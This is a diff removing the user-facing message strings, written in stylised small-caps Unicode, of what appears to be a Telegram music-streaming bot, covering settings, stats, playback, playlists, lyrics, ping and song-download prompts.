-setting_16 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\nᴡʜᴇɴ ᴛʜɪs ɪs ᴀᴄᴛɪᴠᴀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ sᴜɢɢᴇsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ ɪɴ ᴇᴠᴇʀʏ 1-2 ʜᴏᴜʀ ᴀʙᴏᴜᴛ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅs ᴏғ ᴛʜᴇ ʙᴏᴛ."
-
-set_cb_1 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴅɪᴏ ǫᴜᴀʟɪᴛʏ ᴩᴀɴᴇʟ..."
-set_cb_2 : "ɢᴇᴛᴛɪɴɢ ᴠɪᴅᴇᴏ ǫᴜᴀʟɪᴛʏ ᴩᴀɴᴇʟ..."
-set_cb_3 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ᴩᴀɴᴇʟ..."
-set_cb_4 : "ɢᴇᴛᴛɪɴɢ ᴩʟᴀʏ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..."
-set_cb_5 : "ɢᴇᴛᴛɪɴɢ ᴄʟᴇᴀɴ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..."
-set_cb_6 : "sᴇᴛᴛɪɴɢ ᴜᴩ ᴄʜᴀɴɢᴇs..."
-set_cb_7 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ʟɪsᴛ..."
-set_cb_8 : "ɢᴏɪɴɢ ʙᴀᴄᴋ..."
-
-# Misc
-ustats_1 : "ɴᴏ ᴜsᴇʀ sᴛᴀᴛs ꜰᴏᴜɴᴅ."
-ustats_2 : "ɢʀᴇᴛᴛɪɴɢs ʙᴀʙʏ !, ʏᴏᴜ ʜᴀᴠᴇ ᴘʟᴀʏᴇᴅ **{0}** ᴛʀᴀᴄᴋs ᴛɪʟʟ ɴᴏᴡ ᴡɪᴛʜ ᴀ ᴡʜᴏᴘᴘɪɴɢ ᴄᴏᴜɴᴛ ᴏꜰ **{1}** ᴛɪᴍᴇs.\n\nᴛᴏᴘ **{2}** ᴘʟᴀʏᴇᴅ ʙʏ ʏᴏᴜ:\n\n"
-
-gstats_1 : "ɢᴇᴛᴛɪɴɢ ɢʟᴏʙᴀʟ sᴛᴀᴛs, ᴛʜɪs ᴄᴏᴜʟᴅ ᴛᴀᴋᴇ sᴏᴍᴇ ᴛɪᴍᴇ..."
-gstats_2 : "ɴᴏ ɢʟᴏʙᴀʟ sᴛᴀᴛs ꜰᴏᴜɴᴅ."
-gstats_3 : "ɢᴇᴛᴛɪɴɢ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 {0} ᴏꜰ ᴛʜᴇ ʙᴏᴛ, ᴛʜɪs ᴄᴏᴜʟᴅ ᴛᴀᴋᴇ sᴏᴍᴇ ᴛɪᴍᴇ..."
-gstats_4 : "**ᴛᴏᴛᴀʟ ǫᴜᴇʀɪᴇs ᴏɴ ʙᴏᴛ:** {0}\n\n{1} ʜᴀs ᴘʟᴀʏᴇᴅ **{2}** ᴛʀᴀᴄᴋs ᴛɪʟʟ ɴᴏᴡ ᴡɪᴛʜ ᴀ ᴡʜᴏᴘᴘɪɴɢ ᴄᴏᴜɴᴛ ᴏꜰ **{3}** ᴛɪᴍᴇs.\n\n**ᴛᴏᴘ {4} ᴛʀᴀᴄᴋs:**\n"
-gstats_5 : "**ᴛᴏᴘ {0} ᴄʜᴀᴛs ᴏꜰ {1}:**\n\n"
-gstats_6 : "**ᴛᴏᴩ {0} ᴜsᴇʀs ᴏғ {1}:**\n\n"
-gstats_7 : "ᴛʜɪs ᴄʜᴀᴛ ɢʀᴏᴜᴘ ʜᴀs ᴘʟᴀʏᴇᴅ **{0}** ᴛʀᴀᴄᴋs ᴛɪʟʟ ɴᴏᴡ ᴡɪᴛʜ ᴀ ᴡʜᴏᴘᴘɪɴɢ ᴄᴏᴜɴᴛ ᴏꜰ **{1}** ᴛɪᴍᴇs.\n\nᴛᴏᴘ {2} ᴘʟᴀʏᴇᴅ ʙʏ ᴛʜɪs ᴄʜᴀᴛ ɢʀᴏᴜᴘ:\n\n"
-gstats_8 : "ɢᴇᴛᴛɪɴɢ ʙᴏᴛ's ɢᴇɴᴇʀᴀʟ sᴛᴀᴛs ᴀɴᴅ ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ.. ᴛʜɪs ᴄᴏᴜʟᴅ ᴛᴀᴋᴇ sᴏᴍᴇ ᴛɪᴍᴇ..."
-gstats_9 : "**ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 sᴛᴀᴛs ᴏꜰ ᴛʜᴇ ʙᴏᴛ ʙᴀʙʏ**\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ꜰʀᴏᴍ ʙᴇʟᴏᴡ ꜰᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴄʜᴇᴄᴋ ɢʟᴏʙᴀʟ sᴛᴀᴛs ꜰʀᴏᴍ ʙᴏᴛ's sᴇʀᴠᴇʀs."
-gstats_10 : "**ɢʟᴏʙᴀʟ sᴛᴀᴛs ᴏғ {0}**\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ғʀᴏᴍ ʙᴇʟᴏᴡ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴄʜᴇᴄᴋ ɢʟᴏʙᴀʟ sᴛᴀᴛs ғʀᴏᴍ ʙᴏᴛ's sᴇʀᴠᴇʀs."
-gstats_11 : "**ɢᴇɴᴇʀᴀʟ sᴛᴀᴛs ᴏғ {0}**\nsᴇʟᴇᴄᴛ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ғʀᴏᴍ ʙᴇʟᴏᴡ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴄʜᴇᴄᴋ ɢʟᴏʙᴀʟ sᴛᴀᴛs ғʀᴏᴍ ʙᴏᴛ's sᴇʀᴠᴇʀs.\n\nᴜsᴇ /gstats ᴛᴏ ᴄʜᴇᴄᴋ ᴛᴏᴩ ᴛʀᴀᴄᴋs, ᴄʜᴀᴛs, ᴜsᴇʀs ᴀɴᴅ ᴍᴀɴʏ ᴏᴛʜᴇʀ sᴛᴜғғs."
-
-# Play
-
-#Play Callback
-playcb_1 : "ᴛʜɪs ɪs ɴᴏᴛ ꜰᴏʀ ʏᴏᴜ ʙᴀʙʏ ! sᴇᴀʀᴄʜ ʏᴏᴜ ᴏᴡɴ."
-playcb_2 : "ɢᴇᴛᴛɪɴɢ ɴᴇxᴛ ʀᴇsᴜʟᴛ..."
-
-# Channel Play
-cplay_1 : "ʏᴏᴜ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴄʜᴀɴɴᴇʟs ꜰʀᴏᴍ ᴛʜɪs ᴄʜᴀᴛ [{0}] ᴛᴏ ᴀɴʏ ᴄʜᴀɴɴᴇʟ ᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ's ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\n\n**ꜰᴏʀ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ:**\n/{1} ʟɪɴᴋᴇᴅ\n\n**ꜰᴏʀ ᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀɴɴᴇʟ:**\n/{1} [ᴄʜᴀɴɴᴇʟ ɪᴅ]"
-cplay_2 : "ᴛʜɪs ᴄʜᴀᴛ ʜᴀs ɴᴏ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ."
-cplay_3 : "ᴄʜᴀɴɴᴇʟ ᴅᴇꜰɪɴᴇᴅ ᴛᴏ {0}\n\nᴄʜᴀɴɴᴇʟ ɪᴅ: {1}"
-cplay_4 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ ʜᴀᴠᴇ ᴀᴅᴅᴇᴅ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ɪᴛ ᴀs ᴀᴅᴍɪɴ.\nᴄʜᴀɴɢᴇ ᴄʜᴀɴɴᴇʟ ᴠɪᴀ /channelplay ᴏʀ ᴅɪsᴀʙʟᴇ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ ᴠɪᴀ /playmode"
-cplay_5 : "ᴏɴʟʏ ᴄʜᴀɴɴᴇʟs ᴀʀᴇ sᴜᴘᴘᴏʀᴛᴇᴅ."
-cplay_6 : "ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴛʜᴇ **ᴏᴡɴᴇʀ** ᴏꜰ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ [{0}] ᴛᴏ ᴄᴏɴɴᴇᴄᴛ ɪᴛ ᴡɪᴛʜ ᴛʜɪs ɢʀᴏᴜᴘ.\n**ᴄʜᴀɴɴᴇʟ's ᴏᴡɴᴇʀ:** @{1}\n\nᴀʟᴛᴇʀɴᴀᴛɪᴠᴇʟʏ ʏᴏᴜ ᴄᴀɴ ʟɪɴᴋ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ ᴛʜᴀᴛ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴄᴏɴɴɴᴇᴄᴛɪɴɢ ᴡɪᴛʜ `/channelplay linked`"
-
-#Play
-play_1 : "**» sᴇᴀʀᴄʜɪɴɢ, ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ ʙᴀʙʏ...**"
-play_2 : "🏷**ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ**\n🔄 ᴘʀᴏᴄᴇssɪɴɢ ǫᴜᴇʀʏ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ!\n\n**ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ:** {0}"
-play_3 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ !"
-play_4 : "🖇 **ᴀᴅᴍɪɴs ᴏɴʟʏ ᴘʟᴀʏ**\nᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜ ᴜsᴇʀs ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\nᴄʜᴀɴɢᴇ ᴍᴏᴅᴇ ᴠɪᴀ /playmode ᴀɴᴅ ɪꜰ ʏᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴀᴅᴍɪɴ, ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴᴄᴀᴄʜᴇ ᴠɪᴀ `/reload`"
-play_5 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ᴀᴜᴅɪᴏ ꜰɪʟᴇ.\n\nᴀᴜᴅɪᴏ ꜰɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 100 ᴍʙ."
-play_6 : "**ᴅᴜʀᴀᴛɪᴏɴ ʟɪᴍɪᴛ ᴇxᴄᴇᴇᴅᴇᴅ**\n\n**ᴀʟʟᴏᴡᴇᴅ ᴅᴜʀᴀᴛɪᴏɴ:** {0} ᴍɪɴᴜᴛᴇs\n**ʀᴇᴄᴇɪᴠᴇᴅ ᴅᴜʀᴀᴛɪᴏɴ:** {1} ᴍɪɴᴜᴛᴇs"
-play_7 : "sᴏʀʀʏ ! ʙᴏᴛ ᴏɴʟʏ ᴀʟʟᴏᴡs ʟɪᴍɪᴛᴇᴅ ɴᴜᴍʙᴇʀ ᴏꜰ ᴠɪᴅᴇᴏ ᴄᴀʟʟs ᴅᴜᴇ ᴛᴏ ᴄᴘᴜ ᴏᴠᴇʀʟᴏᴀᴅ ɪssᴜᴇs. ᴍᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀᴛs ᴀʀᴇ ᴜsɪɴɢ ᴠɪᴅᴇᴏ ᴄᴀʟʟ ʀɪɢʜᴛ ɴᴏᴡ. ᴛʀʏ sᴡɪᴛᴄʜɪɴɢ ᴛᴏ ᴀᴜᴅɪᴏ ᴏʀ ᴛʀʏ ᴀɢᴀɪɴ ʟᴀᴛᴇʀ."
-play_8 : "ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ᴠɪᴅᴇᴏ ꜰɪʟᴇ ᴇxᴛᴇɴsɪᴏɴ ʙᴀʙʏ !\n\n**sᴜᴘᴘᴏʀᴛᴇᴅ ꜰᴏʀᴍᴀᴛs:** {0}"
-play_9 : "ᴠɪᴅᴇᴏ ꜰɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 1 ɢɪʙ"
-play_10 : "**ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ꜰᴇᴀᴛᴜʀᴇ**\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴡʜᴏʟᴇ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ"
-play_11 : "📌**ᴛɪᴛʟᴇ:** {0}\n\n🕕**ᴅᴜʀᴀᴛɪᴏɴ:** {1} ᴍɪɴs"
-play_12 : "**sᴘᴏᴛɪꜰʏ ᴘʟᴀʏʟɪsᴛs**\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:- {0}"
-play_13 : "**ᴀᴘᴘʟᴇ ᴘʟᴀʏʟɪsᴛs**\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:- {0}"
-play_14 : "**ᴜɴᴀʙʟᴇ ᴛᴏ ᴠᴇʀɪꜰʏ ᴛʜᴇ ᴜʀʟ.**\nʙᴏᴛ ᴡᴏɴᴅᴇʀs ɪꜰ ᴛʜɪs ᴜʀʟ ʙᴇʟᴏɴɢs ᴛᴏ ᴀɴʏ ᴏꜰ ᴛʜᴇ ꜰᴏʟʟᴏᴡɪɴɢ ᴘʟᴀᴛꜰᴏʀᴍs: ʏᴏᴜᴛᴜʙᴇ, ᴀᴘᴘʟᴇ ᴍᴜsɪᴄ, sᴘᴏᴛɪꜰʏ, ʀᴇssᴏ ᴀɴᴅ sᴏᴜɴᴅᴄʟᴏᴜᴅ.\n\nʏᴏᴜ ᴄᴀɴ ᴜsᴇ /stream ꜰᴏʀ ᴍ3ᴜ8 ᴏʀ ʀᴇᴍᴏᴛᴇ ʟɪɴᴋs."
-play_15 : "**ʟɪᴠᴇ sᴛʀᴇᴀᴍ ᴅᴇᴛᴇᴄᴛᴇᴅ**\n\nsʏsᴛᴇᴍs ʜᴀᴠᴇ ᴅᴇᴛᴇᴄᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ ʟɪɴᴋ ᴀs ʟɪᴠᴇ sᴛʀᴇᴀᴍ. ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʟɪᴠᴇ sᴛʀᴇᴀᴍ ?"
-play_16 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ᴛʀᴀᴄᴋ ᴅᴇᴛᴀɪʟs, ᴍᴀʏʙᴇ ᴛʜᴀᴛ ᴛʀᴀᴄᴋ ɪs ᴀɢᴇ ʀᴇsᴛʀɪᴄᴛᴇᴅ ᴏɴ ʏᴏᴜᴛᴜʙᴇ. ᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɴʏ ᴏᴛʜᴇʀ."
-play_17 : "ᴜɴᴀʙʟᴇ ᴛᴏ ᴩʟᴀʏ ᴛʜɪs ᴛʏᴩᴇ ᴏғ sᴩᴏᴛɪғʏ ǫᴜᴇʀʏ !\n\n ɪ ᴄᴀɴ ᴏɴʟʏ ᴩʟᴀʏ sᴩᴏᴛɪғʏ ᴛʀᴀᴄᴋs, ᴀʟʙᴜᴍs, ᴀʀᴛɪsᴛs ᴀɴᴅ ᴩʟᴀʏʟɪsᴛs"
-play_18 : "**ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ**\n\nᴛᴏ ᴜsᴇ ғᴏʀᴄᴇ ᴩʟᴀʏ, ᴛʜᴇʀᴇ ᴍᴜsᴛ ʙᴇ ᴀɴ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇᴄʜᴀᴛ."
-
-#Playlist
-playlist_1 : "**ᴜsᴀɢᴇ:** /play [ᴍᴜsɪᴄ ɴᴀᴍᴇ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀᴜᴅɪᴏ]\n\nɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʙᴏᴛ's sᴇʀᴠᴇʀ ᴘʟᴀʏʟɪsᴛ ! ᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ."
-playlist_2 : "ɢᴇᴛᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
-playlist_3 : "ʏᴏᴜ ʜᴀᴠᴇ ɴᴏ ᴘʟᴀʏʟɪsᴛ ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀ."
-playlist_4 : "ꜰᴇᴛᴄʜᴇᴅ ᴘʟᴀʏʟɪsᴛ:\n\n"
-playlist_5 : "Duration : {0} Mins..."
-playlist_6 : "ᴄᴏɴᴛᴀᴄᴛ ᴍᴇ ɪɴ ᴘᴍ ꜰᴏʀ ᴅᴇʟᴇᴛɪᴏɴ ᴏꜰ ᴘʟᴀʏʟɪsᴛs."
-playlist_7 : "ᴛʀᴀᴄᴋs ɪɴsɪᴅᴇ ᴘʟᴀʏʟɪsᴛ: {0}\n\nᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴs ᴛᴏ ᴅᴇʟᴇᴛᴇ ᴀ ᴘᴀʀᴛɪᴄᴜʟᴀʀ ᴛʀᴀᴄᴋ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\n\nᴛᴏ ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ: ᴘʀᴇss ᴅᴇʟ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ʙᴜᴛᴛᴏɴ."
-playlist_8 : "ᴀʟʀᴇᴀᴅʏ ᴇxɪsᴛs\n\nᴛʜɪs ᴛʀᴀᴄᴋ ᴇxɪsᴛs ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ."
-playlist_9 : "sᴏʀʀʏ ! ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ {0} ᴍᴜsɪᴄ ɪɴ ᴀ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ."
-playlist_10 : "ᴘʟᴀʏʟɪsᴛ ᴀᴅᴅɪᴛɪᴏɴ\n\n{0}\nᴀᴅᴅᴇᴅ ᴛᴏ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ."
-playlist_11 : "sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ."
-playlist_12 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ."
-playlist_13 : "ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛs ꜰʀᴏᴍ ᴛʜᴇ sᴇʀᴠᴇʀ. "
-playlist_14 : "**ᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴇʟᴇᴛᴇ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ?**\n\nʏᴏᴜ'ʟʟ ʟᴏsᴛ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴀɴᴅ ᴛʜɪs ᴄᴀɴ'ᴛ ʙᴇ ʀᴇᴄᴏᴠᴇʀᴇᴅ ʟᴀᴛᴇʀ."
-playlist_15 : "[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ]({0})"
-playlist_16 : "ǫᴜᴇᴜᴇᴅ ᴘʟᴀʏʟɪsᴛ :"
-playlist_17 : "Queued Position -"
-playlist_18 : "[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ᴘʟᴀʏʟɪsᴛ]({0})\n\nʟᴀsᴛ ǫᴜᴇᴜᴇᴅ ᴘᴏsɪᴛɪᴏɴ : **{1}**"
-
-#Playmode
-playmode_1 : "sᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴛʜᴇ ǫᴜᴇʀɪᴇs ɪɴsɪᴅᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ [{0}]."
-playmode_2 : "sᴇᴛᴛɪɴɢs ᴄʜᴀɴɢᴇᴅ ᴀɴᴅ sᴀᴠᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙʏ {0}"
-
-#Stream
-str_1 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍ3ᴜ8 ʟɪɴᴋs ᴏʀ ɪɴᴅᴇx ʟɪɴᴋs."
-str_2 : "✅ ᴠᴀʟɪᴅ sᴛʀᴇᴀᴍ ᴠᴇʀɪꜰɪᴇᴅ\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ᴘʀᴏᴄᴇssɪɴɢ ʟɪɴᴋ..."
-str_3 : "ᴜɴᴀʙʟᴇ ᴛᴏ sᴛʀᴇᴀᴍ ʏᴏᴜᴛᴜʙᴇ ʟɪᴠᴇ sᴛʀᴇᴀᴍs. ɴᴏ ʟɪᴠᴇ ꜰᴏʀᴍᴀᴛ ꜰᴏᴜɴᴅ"
-
-#TopPlay
-tracks_1 : "**ᴘʀᴏᴄᴇssɪɴɢ {0} ᴛᴏᴘ 10 ᴘʟᴀʏʟɪsᴛ**\n\n💘**ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:** {1}\n📢**ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ:** {2}\n\nᴄʜᴇᴄᴋ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs ʙʏ /stats"
-tracks_2 : "**ᴇʀʀᴏʀ**\n\nᴛʜᴇʀᴇ's ɴᴏ **{0} ᴛᴏᴘ 10 ᴘʟᴀʏʟɪsᴛ** ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀs. ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɴʏ ᴏᴛʜᴇʀ ᴘʟᴀʏʟɪsᴛ"
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**ᴜsᴀɢᴇ:**\n\n/lyrics [ ᴍᴜsɪᴄ ɴᴀᴍᴇ]"
-lyrics_2 : "sᴇᴀʀᴄʜɪɴɢ ʟʏʀɪᴄs..."
-lyrics_3 : "❌ ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ʟʏʀɪᴄs 😭.\n\n💡**ᴛʀɪᴇᴅ sᴇᴀʀᴄʜɪɴɢ ꜰᴏʀ:** {0}"
-lyrics_4 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴀɴᴅ ɢᴇᴛ sᴇᴀʀᴄʜᴇᴅ ʟʏʀɪᴄs ᴛᴏ ᴀᴠᴏɪᴅ ʟᴏɴɢ sᴘᴀᴍ ᴛʏᴘᴇs ʟʏʀɪᴄs sᴇᴀʀᴄʜ."
-
-#Ping
-ping_1 : "» ᴩɪɴɢɪɴɢ ʙᴀʙʏ..."
-ping_2 : "**» ᴘᴏɴɢ ʙᴀʙʏ «**\n`💘 {0} ᴍs`\n\n{1} sʏsᴛᴇᴍ sᴛᴀᴛs :\n\n🥀 ᴜᴩᴛɪᴍᴇ : {2} \n🥀 ʀᴀᴍ : {3} \n🥀 ᴄᴩᴜ : {4} \n🥀 ᴅɪsᴋ : {5} \n🥀 ᴩʏ-ᴛɢᴄᴀʟʟs : `{6} ᴍs`"
-
-# Song
-song_1 : "ʏᴏᴜ ᴄᴀɴ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴜsɪᴄ ᴏʀ ᴠɪᴅᴇᴏ ꜰʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ᴏɴʟʏ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ. ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ᴍᴇ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ."
-song_2 : "**ᴜsᴀɢᴇ:**\n\n/song [ᴍᴜsɪᴄ ɴᴀᴍᴇ] ᴏʀ [ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ]"
-song_3 : "ʟɪᴠᴇ ʟɪɴᴋ ᴅᴇᴛᴇᴄᴛᴇᴅ. ɪ ᴀᴍ ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʟɪᴠᴇ ʏᴏᴜᴛᴜʙᴇ ᴠɪᴅᴇᴏs. "
-song_4 : "📌**ᴛɪᴛʟᴇ**:- {0}\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴛʏᴘᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ."
-song_5 : "ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ."
-song_6 : "ɢᴇᴛᴛɪɴɢ ꜰᴏʀᴍᴀᴛs...\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
-song_7 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴀᴠᴀɪʟᴀʙʟᴇ ꜰᴏʀᴍᴀᴛs ꜰᴏʀ ᴛʜᴇ ᴠɪᴅᴇᴏ. ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɴʏ ᴏᴛʜᴇʀ ᴛʀᴀᴄᴋ."
-song_8 : "ᴅᴏᴡɴʟᴏᴀᴅ sᴛᴀʀᴛᴇᴅ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs..."
-song_9 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ sᴏɴɢ ꜰʀᴏᴍ ʏᴛ-ᴅʟ\n\n**ʀᴇᴀsᴏɴ:** {0}"
-song_10 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ ᴛᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀs."
-song_11 : "ᴜᴘʟᴏᴀᴅɪɴɢ sᴛᴀʀᴛᴇᴅ ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
-
-# Tools - Queue
-queue_1 : "» ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ..."
-queue_2 : "Queued List is empty. No tracks found"
-queue_3 : "**Queued Tracks:** [Checkout More Queued Tracks From Here]({0})"
-queue_4 : "**💘 ᴀᴅᴅᴇᴅ ᴛᴏ ǫᴜᴇᴜᴇ ᴀᴛ #{0}**\n\n**🍒 ᴛɪᴛʟᴇ :** {1}\n**⏱ ᴅᴜʀᴀᴛɪᴏɴ :** {2}\n🥀 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :** {3}"
-queue_5 : "ᴏɴʟʏ ᴏɴᴇ ᴛʀᴀᴄᴋ ɪs ɪɴ ǫᴜᴇᴜᴇ, ᴀᴅᴅ sᴏᴍᴇ ᴍᴏʀᴇ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ᴛᴏ ᴄʜᴇᴄᴋ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇ."
-
-# All Streaming Lines
-stream_1 : "» **sᴛᴀʀᴛᴇᴅ ᴩʟᴀʏɪɴɢ:** «\n\n💖 **ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ:** {0} \n🍒**ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ:** [ʜᴇʀᴇ]({1})"
